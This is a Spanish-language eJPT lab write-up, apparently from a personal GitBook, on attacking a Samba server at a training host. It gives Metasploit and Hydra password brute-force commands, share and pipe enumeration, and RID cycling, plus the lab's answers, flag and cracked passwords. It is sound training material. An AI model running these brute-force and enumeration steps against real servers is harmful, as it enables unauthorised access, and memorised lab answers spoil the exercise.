> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/ataques-basados-en-sistema-host/linux/explotacion-de-las-vulnerabilidades-de-linux/explotacion-samba.md).

# Explotación SAMBA

## 📡 ¿Qué es SMB?

**SMB (Server Message Block)** es un protocolo de compartición de archivos en red que permite compartir archivos e impresoras entre computadoras dentro de una red local (**LAN**).

* 🔌 Utiliza el **puerto TCP 445**.
* Inicialmente, SMB funcionaba sobre **NetBIOS**, usando el **puerto 139**.

***

## 🐧 ¿Qué es Samba?

**Samba** es la implementación de SMB para sistemas Linux, permitiendo a sistemas **Windows** acceder a recursos compartidos (carpetas, impresoras, etc.) en máquinas **Linux**.

***

## 🧨 ¿Cómo se explota SAMBA?

#### 🔐 Autenticación

* SAMBA requiere **usuario y contraseña** para acceder al servidor o a los recursos compartidos.

#### 🔍 Enumeración y Ataque

1. 🔓 **Ataque de fuerza bruta**: Podemos lanzar ataques para descubrir credenciales válidas.
2. ✅ Una vez obtenidas las credenciales legítimas, podemos usar herramientas como:

***

## 🧪 Laboratorio Práctico

**Paso 1:** Abra el enlace del laboratorio para acceder a la máquina Kali.

<figure><img src="/files/rHTqXYcsK5jUbDnTq0VE" alt=""><figcaption></figcaption></figure>

**Paso 2:** ¿Cuál es la contraseña del usuario "jane" necesaria para acceder al recurso compartido "jane"? Use el módulo smb\_login de Metasploit con la contraseña wordlist /usr/share/wordlists/metasploit/unix\_passwords.txt

Respuesta: abc123

**Comandos:**

```
msfconsole -q
use auxiliary/scanner/smb/smb_login
set PASS_FILE /usr/share/wordlists/metasploit/unix_passwords.txt
set SMBUser jane
set RHOSTS demo.ine.local
exploit
```

<figure><img src="/files/ov5N0Klnh04JV2QTvIyA" alt=""><figcaption></figcaption></figure>

**Paso 3:** ¿Cuál es la contraseña del usuario "admin" necesaria para acceder al recurso compartido "admin"? Use Hydra con la contraseña "wordlist": /usr/share/wordlists/rockyou.txt

Respuesta: password1

**Comandos:**

```
gzip -d /usr/share/wordlists/rockyou.txt.gz
hydra -l admin -P /usr/share/wordlists/rockyou.txt demo.ine.local smb
```

<figure><img src="/files/rG4jr17qpfDYwqpmW5zp" alt=""><figcaption></figcaption></figure>

**Paso 4:** ¿Qué recurso compartido es de solo lectura? Use smbmap con las credenciales obtenidas en la pregunta 2.

Respuesta: nancy

**Dominio:**

```
smbmap -H demo.ine.local -u admin -p password1
```

<figure><img src="/files/q0UtUR4aJYa3upGcQyAl" alt=""><figcaption></figcaption></figure>

**Paso 5:** ¿Se puede navegar por el recurso compartido "jane"? Use las credenciales obtenidas en la primera pregunta.

Respuesta: no

Solución: Listar los recursos compartidos en el servidor Samba:

**Comandos:**

```
smbclient -L demo.ine.local -U jane
```

Introduzca la contraseña "abc123"

<figure><img src="/files/6nvtYwlq48pK2uRGnT2o" alt=""><figcaption></figcaption></figure>

El recurso compartido "jane" no está en la lista. Comprobando si existe:

**Dominio:**

```
smbclient //demo.ine.local/jane -U jane
```

<figure><img src="/files/cBOSPEdVHdHvLXuy5O8v" alt=""><figcaption></figcaption></figure>

Compartir “Jane” existe pero no se puede navegar.

**Paso 6:** Obtenga la bandera del recurso compartido “admin”.

Respuesta: 2727069bc058053bd561ce372721c92e

**Comandos:**

```
smbclient //demo.ine.local/admin -U admin
ls
cd hidden
ls
get flag.tar.gz
exit
tar -xf flag.tar.gz
cat flag
```

<figure><img src="/files/2BJTljy8OnNbkEtEEZWd" alt=""><figcaption></figcaption></figure>

**Paso 7: ¿** Enumerar las tuberías con nombre disponibles a través de SMB en el servidor Samba? Usar el módulo pipe\_auditor de Metasploit con las credenciales obtenidas en la pregunta 2.

Respuesta: netlogon, lsarpc, samr, eventlog, InitShutdown, ntsvcs, srvsvc, wkssvc

**Comandos:**

```
msfconsole -q
use auxiliary/scanner/smb/pipe_auditor
set SMBUser admin
set SMBPass password1
set RHOSTS demo.ine.local
exploit
```

<figure><img src="/files/efh1ReoVFQ6MjIUwz6vT" alt=""><figcaption></figcaption></figure>

**Paso 8:** Enumere los sid de los usuarios de Unix shawn, jane, nancy y admin respectivamente realizando un ciclo de RID usando enum4Linux con las credenciales obtenidas en la pregunta 2.

**Dominio:**

```
enum4linux -r -u "admin" -p "password1" demo.ine.local
```

<figure><img src="/files/kZJbCCjraCMjvePI2Fwn" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/r8EMVJgK1SeXpyLFHfQU" alt=""><figcaption></figcaption></figure>

Respuesta: S-1-22-1-1000, S-1-22-1-1001, S-1-22-1-1002, S-1-22-1-1003

#### Conclusión

En este laboratorio, aprendimos sobre el ataque de diccionario en el servidor SMB.

#### Referencias

1. [Samba](https://www.samba.org/)
2. [smbmap](https://tools.kali.org/information-gathering/smbmap)
3. [smbclient](https://www.samba.org/samba/docs/current/man-html/smbclient.1.html)
4. [THC Hydra](https://tools.kali.org/password-attacks/hydra)
5. [Metasploit Module: SMB Login Check Scanner](https://www.rapid7.com/db/modules/auxiliary/scanner/smb/smb_login)
6. [Metasploit Module: SMB Session Pipe Auditor](https://www.rapid7.com/db/modules/auxiliary/scanner/smb/pipe_auditor)
7. [enum4Linux](https://tools.kali.org/information-gathering/enum4linux)
